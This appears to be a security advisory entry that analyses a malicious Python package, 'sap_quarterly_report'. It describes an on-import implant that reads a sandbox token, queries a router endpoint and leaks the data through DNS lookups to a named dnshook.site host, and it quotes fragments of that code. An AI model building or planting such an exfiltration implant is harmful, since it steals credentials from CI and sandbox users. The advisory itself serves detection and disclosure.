GCVE-110-OSM-2026-11688

This looks like a credential/data exfiltration implant targeting sandbox or CI environments: on import it reads `/tmp/.sandbox_token`, takes `SANDBOX_ROUTER_URL` from the environment, and sends the token in an `x-sandbox-token` header to a hardcoded `/proxy/v2/me/threads` endpoint. The returned data is then base64-encoded and leaked through DNS queries to `f9eabf60-94dc-4b7a-89ca-4e91d333c014.dnshook.site`, which is classic covert exfiltration behavior rather than any legitimate package function. The attacker model is a malicious package published to harvest sandbox credentials and pivot data out via DNS-side channel; the OSV advisory's exfiltration claim is directly corroborated by the code in `src/sap_quarterly_report/__init__.py`. The minimal metadata and no-repository shape further fit a throwaway malicious package. EXFIL - Environment Variable Exfiltration in src/sap_quarterly_report/__init__.py: "os.environ.get("SANDBOX_ROUTER_URL", "") if not c or not r: return import urllib" - Python Background Thread Execution in src/sap_quarterly_report/__init__.py: "def _run(): try: p = "/tmp/.sandbox_token" if not os.path.exists(p): return c = ..." - Network Request in src/sap_quarterly_report/__init__.py: "urllib.request.Request(" - DNS Lookup in src/sap_quarterly_report/__init__.py: "socket.getaddrinfo(" PAYLOAD FILES src/sap_quarterly_report/__init__.py